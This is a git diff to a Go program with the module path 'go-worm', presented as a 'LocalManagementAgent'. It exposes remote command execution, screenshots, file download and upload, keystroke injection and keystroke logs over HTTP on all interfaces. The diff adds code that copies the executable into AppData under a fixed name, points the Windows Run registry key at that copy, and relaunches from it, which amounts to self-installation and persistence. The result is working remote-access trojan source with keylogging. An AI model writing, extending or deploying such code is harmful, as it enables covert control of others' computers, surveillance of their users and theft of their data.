diff --git a/lib/agent/agent.go b/lib/agent/agent.go index 8fbdaf2..52828ed 100644 --- a/lib/agent/agent.go +++ b/lib/agent/agent.go @@ -67,6 +67,7 @@ func (a *Agent) Serve() error { mux.HandleFunc("/api/v1/status", a.handleStatus) mux.HandleFunc("/api/v1/files", a.handleFiles) mux.HandleFunc("/api/v1/download", a.handleDownload) + mux.HandleFunc("/api/v1/upload", a.handleUpload) mux.HandleFunc("/api/v1/screenshot", a.handleScreenshot) mux.HandleFunc("/api/v1/exec", a.handleExec) mux.HandleFunc("/api/v1/startup", a.handleStartup) diff --git a/lib/agent/handlers.go b/lib/agent/handlers.go index b2a6792..0ab794e 100644 --- a/lib/agent/handlers.go +++ b/lib/agent/handlers.go @@ -44,6 +44,7 @@ func (a *Agent) handleOpenAPI(w http.ResponseWriter, r *http.Request) { "/api/v1/status": map[string]any{"get": map[string]string{"summary": "Agent status"}}, "/api/v1/files": map[string]any{"get": map[string]string{"summary": "List files"}}, "/api/v1/download": map[string]any{"get": map[string]string{"summary": "Download file"}}, + "/api/v1/upload": map[string]any{"post": map[string]string{"summary": "Upload a file to a directory"}}, "/api/v1/screenshot": map[string]any{"get": map[string]string{"summary": "Capture desktop"}}, "/api/v1/exec": map[string]any{"post": map[string]string{"summary": "Run a command"}}, "/api/v1/startup": map[string]any{"post": map[string]string{"summary": "Add to Windows startup"}, "delete": map[string]string{"summary": "Remove from Windows startup"}}, @@ -170,6 +171,65 @@ func (a *Agent) handleDownload(w http.ResponseWriter, r *http.Request) { http.ServeContent(w, r, name, info.ModTime(), f) } +func (a *Agent) handleUpload(w http.ResponseWriter, r *http.Request) { + if r.Method != http.MethodPost { + helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") + return + } + r.Body = http.MaxBytesReader(w, r.Body, config.MaxUploadSize) + if err := r.ParseMultipartForm(config.MaxUploadSize); err != nil { + helpers.WriteError(w, http.StatusBadRequest, "upload body is too large or invalid") + return + } + dir := strings.TrimSpace(r.FormValue("path")) + if dir == "" { + helpers.WriteError(w, http.StatusBadRequest, "path is required") + return + } + upload, header, err := r.FormFile("file") + if err != nil { + helpers.WriteError(w, http.StatusBadRequest, "file is required") + return + } + defer upload.Close() + + target, err := files.UploadTarget(a.root, dir, header.Filename) + if err != nil { + switch { + case errors.Is(err, files.ErrBadUploadName): + helpers.WriteError(w, http.StatusBadRequest, err.Error()) + default: + files.WritePathError(w, err) + } + return + } + + out, err := os.OpenFile(target, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0o644) + if err != nil { + files.WritePathError(w, err) + return + } + written, err := io.Copy(out, upload) + closeErr := out.Close() + if err != nil { + helpers.Log.Printf("upload: %v", err) + helpers.WriteError(w, http.StatusInternalServerError, "could not save file") + return + } + if closeErr != nil { + helpers.Log.Printf("upload close: %v", closeErr) + helpers.WriteError(w, http.StatusInternalServerError, "could not save file") + return + } + + helpers.WriteJSON(w, http.StatusOK, map[string]any{ + "ok": true, + "path": target, + "size": written, + "name": filepath.Base(target), + }) +} + func (a *Agent) handleScreenshot(w http.ResponseWriter, r *http.Request) { if r.Method != http.MethodGet { helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") @@ -281,12 +341,20 @@ func (a *Agent) handleText(w http.ResponseWriter, r *http.Request) { helpers.WriteError(w, http.StatusBadRequest, "text is too long") return } - if err := input.TypeText(request.Text); err != nil { + delayMs := config.DefaultKeyDelayMs + if request.DelayMs != nil { + delayMs = input.ResolveKeyDelay(*request.DelayMs) + } + if err := input.TypeText(request.Text, delayMs); err != nil { helpers.Log.Printf("text: %v", err) helpers.WriteError(w, http.StatusInternalServerError, "could not type text") return } - helpers.WriteJSON(w, http.StatusOK, map[string]any{"ok": true, "length": len(request.Text)}) + helpers.WriteJSON(w, http.StatusOK, map[string]any{ + "ok": true, + "length": len(request.Text), + "delay_ms": delayMs, + }) } func (a *Agent) handleExec(w http.ResponseWriter, r *http.Request) { diff --git a/lib/agent/web/app.js b/lib/agent/web/app.js index 26c8618..29e7830 100644 --- a/lib/agent/web/app.js +++ b/lib/agent/web/app.js @@ -114,6 +114,22 @@ ); } + async function uploadFile(file) { + const dir = pathInput.value.trim(); + if (!dir) { + throw new Error("open a folder first"); + } + const form = new FormData(); + form.set("path", dir); + form.set("file", file); + showError(""); + const res = await fetch("/api/v1/upload", { method: "POST", body: form }); + if (!res.ok) { + throw new Error(await readError(res)); + } + return res.json(); + } + async function listFiles(path) { const query = new URLSearchParams(); if (path) query.set("path", path); @@ -284,10 +300,11 @@ const field = document.getElementById("video-text"); const text = field.value; if (!text) return; + const delayMs = clamp(document.getElementById("video-key-delay").value, 0, 200); await api("/api/v1/input/text", { method: "POST", headers: { "Content-Type": "application/json" }, - body: JSON.stringify({ text }), + body: JSON.stringify({ text, delay_ms: delayMs }), }); field.value = ""; } @@ -362,6 +379,21 @@ document.getElementById("file-up").addEventListener("click", () => { listFiles(parentPath(pathInput.value.trim())).catch((err) => showError(err.message)); }); + const filePicker = document.getElementById("file-picker"); + document.getElementById("file-upload").addEventListener("click", () => { + filePicker.click(); + }); + filePicker.addEventListener("change", () => { + const file = filePicker.files[0]; + filePicker.value = ""; + if (!file) return; + uploadFile(file) + .then((data) => { + fileMeta.textContent = `uploaded ${data.name} (${formatBytes(data.size || 0)})`; + return listFiles(pathInput.value.trim()); + }) + .catch((err) => showError(err.message)); + }); document.getElementById("shot-capture").addEventListener("click", () => { captureScreen().catch((err) => showError(err.message)); }); @@ -379,6 +411,11 @@ document.getElementById("video-send").addEventListener("click", () => { sendVideoText().catch((err) => showError(err.message)); }); + const videoKeyDelay = document.getElementById("video-key-delay"); + const videoKeyDelayVal = document.getElementById("video-key-delay-val"); + videoKeyDelay.addEventListener("input", () => { + videoKeyDelayVal.textContent = videoKeyDelay.value; + }); document.getElementById("video-text").addEventListener("keydown", (event) => { if (event.key === "Enter") { event.preventDefault(); diff --git a/lib/agent/web/index.html b/lib/agent/web/index.html index ee59094..4642055 100644 --- a/lib/agent/web/index.html +++ b/lib/agent/web/index.html @@ -165,6 +165,8 @@ + +

@@ -208,6 +210,10 @@
+
diff --git a/lib/config/config.go b/lib/config/config.go index 08116ca..a7ed25b 100644 --- a/lib/config/config.go +++ b/lib/config/config.go @@ -12,6 +12,7 @@ const ( DefaultAddr = "0.0.0.0:5032" MutexName = "LocalManagementAgent_Mutex" RequestBodyMax = 1 << 20 + MaxUploadSize = 100 << 20 // ponytail: 100MB cap; raise via env later if needed MaxListEntries = 10000 MaxImageQuality = 100 DefaultExecTO = 30 @@ -19,7 +20,10 @@ const ( StartupValueName = "LocalManagementAgent" StartupRunKey = `Software\Microsoft\Windows\CurrentVersion\Run` MaxInputText = 4096 + DefaultKeyDelayMs = 25 + MaxKeyDelayMs = 200 AppDataDir = "LocalManagementAgent" + InstalledExeName = "localagent.exe" KeylogSubdir = "keystrokes" DefaultKeylogRetentionDays = 7 ) @@ -53,9 +57,25 @@ func KeylogRetentionDays() int { } func KeylogDir() (string, error) { + base, err := InstallDir() + if err != nil { + return "", err + } + return filepath.Join(base, KeylogSubdir), nil +} + +func InstallDir() (string, error) { base, err := os.UserConfigDir() if err != nil { return "", err } - return filepath.Join(base, AppDataDir, KeylogSubdir), nil + return filepath.Join(base, AppDataDir), nil +} + +func InstalledExe() (string, error) { + dir, err := InstallDir() + if err != nil { + return "", err + } + return filepath.Join(dir, InstalledExeName), nil } diff --git a/lib/files/files.go b/lib/files/files.go index a92d289..2225fa7 100644 --- a/lib/files/files.go +++ b/lib/files/files.go @@ -129,3 +129,40 @@ func isWithin(root, candidate string) bool { } return rel != ".." && !strings.HasPrefix(rel, ".."+string(os.PathSeparator)) && !filepath.IsAbs(rel) } + +var ErrBadUploadName = errors.New("invalid upload file name") + +func SafeUploadName(name string) (string, error) { + name = strings.TrimSpace(name) + if name == "" { + return "", ErrBadUploadName + } + name = filepath.Base(name) + if name == "" || name == "." || name == ".." { + return "", ErrBadUploadName + } + return name, nil +} + +func UploadTarget(root, dir, filename string) (string, error) { + safeName, err := SafeUploadName(filename) + if err != nil { + return "", err + } + cleanDir, err := AllowedPath(root, dir, true) + if err != nil { + return "", err + } + info, err := os.Stat(cleanDir) + if err != nil { + return "", err + } + if !info.IsDir() { + return "", errors.New("path is not a directory") + } + target := filepath.Join(cleanDir, safeName) + if root != "" && !isWithin(root, target) { + return "", ErrOutsideRoot + } + return target, nil +} diff --git a/lib/files/files_test.go b/lib/files/files_test.go new file mode 100644 index 0000000..826d70b --- /dev/null +++ b/lib/files/files_test.go @@ -0,0 +1,30 @@ +package files + +import "testing" + +func TestSafeUploadName(t *testing.T) { + t.Parallel() + cases := map[string]bool{ + "notes.txt": true, + "../evil.exe": true, // basename keeps evil.exe + "..": false, + ".": false, + "": false, + `C:\temp\foo.txt`: true, + } + for name, wantOK := range cases { + got, err := SafeUploadName(name) + if wantOK { + if err != nil { + t.Fatalf("SafeUploadName(%q) err = %v", name, err) + } + if got == "" || got == "." || got == ".." { + t.Fatalf("SafeUploadName(%q) = %q", name, got) + } + continue + } + if err == nil { + t.Fatalf("SafeUploadName(%q) = %q, want error", name, got) + } + } +} diff --git a/lib/input/input.go b/lib/input/input.go index f31ef38..258ea79 100644 --- a/lib/input/input.go +++ b/lib/input/input.go @@ -5,8 +5,11 @@ import ( "runtime" "strings" "syscall" + "time" "unicode/utf16" "unsafe" + + "tea.chunkbyte.com/kato/go-worm/lib/config" ) const ( @@ -98,10 +101,11 @@ func Click(x, y int, button string) error { return nil } -func TypeText(text string) error { +func TypeText(text string, delayMs int) error { if text == "" { return ErrEmptyText } + delayMs = resolveKeyDelay(delayMs) runtime.LockOSThread() defer runtime.UnlockOSThread() @@ -109,15 +113,44 @@ func TypeText(text string) error { return err } - units := utf16.Encode([]rune(text)) - inputs := make([]keybdInput, 0, len(units)*2) - for _, unit := range units { - inputs = append(inputs, - keybdInput{Type: inputKeyboard, Scan: unit, Flags: keyeventfUnicode}, - keybdInput{Type: inputKeyboard, Scan: unit, Flags: keyeventfUnicode | keyeventfKeyup}, - ) + runes := []rune(text) + for i, r := range runes { + if err := sendUnicodeRune(r); err != nil { + return err + } + if i < len(runes)-1 && delayMs > 0 { + time.Sleep(time.Duration(delayMs) * time.Millisecond) + } } - return sendKeys(inputs) + return nil +} + +func resolveKeyDelay(ms int) int { + if ms < 0 { + return 0 + } + if ms > config.MaxKeyDelayMs { + return config.MaxKeyDelayMs + } + return ms +} + +// ResolveKeyDelay returns the effective per-key delay for API responses. +func ResolveKeyDelay(ms int) int { + return resolveKeyDelay(ms) +} + +func sendUnicodeRune(r rune) error { + for _, unit := range utf16.Encode([]rune{r}) { + inputs := []keybdInput{ + {Type: inputKeyboard, Scan: unit, Flags: keyeventfUnicode}, + {Type: inputKeyboard, Scan: unit, Flags: keyeventfUnicode | keyeventfKeyup}, + } + if err := sendKeys(inputs); err != nil { + return err + } + } + return nil } func attachInputDesktop() error { diff --git a/lib/install/install.go b/lib/install/install.go new file mode 100644 index 0000000..4556fae --- /dev/null +++ b/lib/install/install.go @@ -0,0 +1,84 @@ +package install + +import ( + "fmt" + "io" + "os" + "os/exec" + "path/filepath" + "strings" + + "tea.chunkbyte.com/kato/go-worm/lib/config" +) + +// Ensure copies the running exe into %APPDATA%\LocalManagementAgent\ when needed, +// refreshes an existing startup entry to that path, and re-launches from there. +func Ensure() error { + target, err := config.InstalledExe() + if err != nil { + return err + } + current, err := os.Executable() + if err != nil { + return err + } + current, err = filepath.Abs(current) + if err != nil { + return err + } + target, err = filepath.Abs(target) + if err != nil { + return err + } + if samePath(current, target) { + return nil + } + + if err := copyExe(current, target); err != nil { + if _, statErr := os.Stat(target); statErr != nil { + return fmt.Errorf("copy to %s: %w", target, err) + } + } + + if err := syncStartup(); err != nil { + return fmt.Errorf("update startup path: %w", err) + } + + cmd := exec.Command(target, os.Args[1:]...) + cmd.Stdin = os.Stdin + cmd.Stdout = os.Stdout + cmd.Stderr = os.Stderr + if err := cmd.Start(); err != nil { + return fmt.Errorf("relaunch from %s: %w", target, err) + } + os.Exit(0) + return nil +} + +func copyExe(from, to string) error { + if err := os.MkdirAll(filepath.Dir(to), 0o700); err != nil { + return err + } + src, err := os.Open(from) + if err != nil { + return err + } + defer src.Close() + + dst, err := os.OpenFile(to, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0o700) + if err != nil { + return err + } + defer dst.Close() + + if _, err := io.Copy(dst, src); err != nil { + return err + } + return nil +} + +func samePath(a, b string) bool { + a = filepath.Clean(a) + b = filepath.Clean(b) + return strings.EqualFold(a, b) +} diff --git a/lib/install/install_test.go b/lib/install/install_test.go new file mode 100644 index 0000000..070c74e --- /dev/null +++ b/lib/install/install_test.go @@ -0,0 +1,42 @@ +package install + +import ( + "path/filepath" + "testing" + + "tea.chunkbyte.com/kato/go-worm/lib/config" +) + +func TestSamePath(t *testing.T) { + t.Parallel() + cases := []struct { + a, b string + want bool + }{ + {`C:\Apps\localagent.exe`, `c:\apps\localagent.exe`, true}, + {`C:\Apps\localagent.exe`, `C:\Apps\copy.exe`, false}, + } + for _, tc := range cases { + if got := samePath(tc.a, tc.b); got != tc.want { + t.Fatalf("samePath(%q, %q) = %v, want %v", tc.a, tc.b, got, tc.want) + } + } +} + +func TestInstalledExeName(t *testing.T) { + t.Setenv("XDG_CONFIG_HOME", t.TempDir()) + dir, err := config.InstallDir() + if err != nil { + t.Fatalf("InstallDir: %v", err) + } + exe, err := config.InstalledExe() + if err != nil { + t.Fatalf("InstalledExe: %v", err) + } + if filepath.Base(exe) != config.InstalledExeName { + t.Fatalf("InstalledExe base = %q, want %q", filepath.Base(exe), config.InstalledExeName) + } + if filepath.Dir(exe) != dir { + t.Fatalf("InstalledExe dir = %q, want %q", filepath.Dir(exe), dir) + } +} diff --git a/lib/install/sync_stub.go b/lib/install/sync_stub.go new file mode 100644 index 0000000..d760f60 --- /dev/null +++ b/lib/install/sync_stub.go @@ -0,0 +1,7 @@ +//go:build !windows + +package install + +func syncStartup() error { + return nil +} diff --git a/lib/install/sync_windows.go b/lib/install/sync_windows.go new file mode 100644 index 0000000..06fe63f --- /dev/null +++ b/lib/install/sync_windows.go @@ -0,0 +1,9 @@ +//go:build windows + +package install + +import "tea.chunkbyte.com/kato/go-worm/lib/startup" + +func syncStartup() error { + return startup.SyncInstalledPath() +} diff --git a/lib/instance/detach.go b/lib/instance/detach.go index 64e9e43..7872022 100644 --- a/lib/instance/detach.go +++ b/lib/instance/detach.go @@ -8,13 +8,15 @@ import ( "syscall" "golang.org/x/sys/windows" + + "tea.chunkbyte.com/kato/go-worm/lib/config" ) func Detach() error { if AlreadyRunning() { return fmt.Errorf("agent already running") } - exe, err := os.Executable() + exe, err := config.InstalledExe() if err != nil { return err } diff --git a/lib/models/models.go b/lib/models/models.go index 6d2cb8d..2f98713 100644 --- a/lib/models/models.go +++ b/lib/models/models.go @@ -52,5 +52,6 @@ type ClickRequest struct { } type TextRequest struct { - Text string `json:"text"` + Text string `json:"text"` + DelayMs *int `json:"delay_ms,omitempty"` } diff --git a/lib/startup/startup.go b/lib/startup/startup.go index b9adc77..5608f81 100644 --- a/lib/startup/startup.go +++ b/lib/startup/startup.go @@ -2,8 +2,6 @@ package startup import ( "errors" - "os" - "path/filepath" "golang.org/x/sys/windows/registry" @@ -21,7 +19,7 @@ func Enabled() bool { } func Enable() error { - command, err := commandLine() + command, err := installedCommandLine() if err != nil { return err } @@ -33,6 +31,14 @@ func Enable() error { return k.SetStringValue(config.StartupValueName, command) } +// SyncInstalledPath rewrites an existing Run entry to the AppData install path. +func SyncInstalledPath() error { + if !Enabled() { + return nil + } + return Enable() +} + func Disable() error { k, err := registry.OpenKey(registry.CURRENT_USER, config.StartupRunKey, registry.SET_VALUE) if err != nil { @@ -49,12 +55,8 @@ func Disable() error { return err } -func commandLine() (string, error) { - exe, err := os.Executable() - if err != nil { - return "", err - } - exe, err = filepath.Abs(exe) +func installedCommandLine() (string, error) { + exe, err := config.InstalledExe() if err != nil { return "", err } diff --git a/main.go b/main.go index 71312fe..18d5735 100644 --- a/main.go +++ b/main.go @@ -14,6 +14,7 @@ import ( "tea.chunkbyte.com/kato/go-worm/lib/agent" "tea.chunkbyte.com/kato/go-worm/lib/helpers" + "tea.chunkbyte.com/kato/go-worm/lib/install" "tea.chunkbyte.com/kato/go-worm/lib/instance" ) @@ -21,6 +22,10 @@ func main() { background := flag.Bool("background", false, "run without a console window") flag.Parse() + if err := install.Ensure(); err != nil { + helpers.Log.Fatalf("install: %v", err) + } + if *background { if err := instance.Detach(); err != nil { helpers.Log.Fatalf("%v", err)